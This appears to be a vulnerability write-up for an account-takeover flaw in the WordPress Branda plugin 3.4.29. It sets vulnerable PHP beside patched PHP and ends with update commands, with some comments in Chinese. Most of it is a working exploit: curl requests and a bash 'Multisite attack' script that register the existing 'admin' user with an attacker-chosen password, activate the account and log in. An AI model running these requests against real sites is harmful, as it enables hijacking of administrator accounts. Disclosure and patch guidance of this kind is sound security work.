// Vulnerable version (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code...
    }
    // Missing: if ($update) return $data; <-- VULNERABILITY
    
    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        // Set the password from POST data
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code with proper checks...
    }

    // FIX: Added check to prevent updating existing users
    if ( $update ) {
        return $data;
    }

    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"

curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-signup.php" \
  -d "user_name=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "signup_for=blog"

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php?action=register" \
  -d "user_login=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "wp-submit=Register"

# 从邮件中提取激活密钥并访问：
curl -s -k -c cookies.txt -b cookies.txt \
  "https://TARGET/wp-activate.php?key=ACTIVATION_KEY"

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php" \
  -d "log=admin" \
  -d "pwd=NewP@ssw0rd!" \
  -d "wp-submit=Log In" \
  -L | grep -i "dashboard\|wp-admin\|error"

#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"

echo "[*] Registering $USERNAME with password $NEW_PASSWORD..."

# Multisite attack
curl -s -k -c /tmp/cookies.txt \
  -X POST "$TARGET/wp-signup.php" \
  -d "user_name=$USERNAME" \
  -d "[email protected]" \
  -d "password_1=$NEW_PASSWORD" \
  -d "password_2=$NEW_PASSWORD"

echo "[*] Check email for activation link"
echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"

# 通过 WordPress 后台
仪表盘 > 插件 > Branda > 更新

# 通过 WP-CLI
wp plugin update branda-white-labeling

# 通过 SSH
wp plugin update branda-white-labeling --version=3.4.31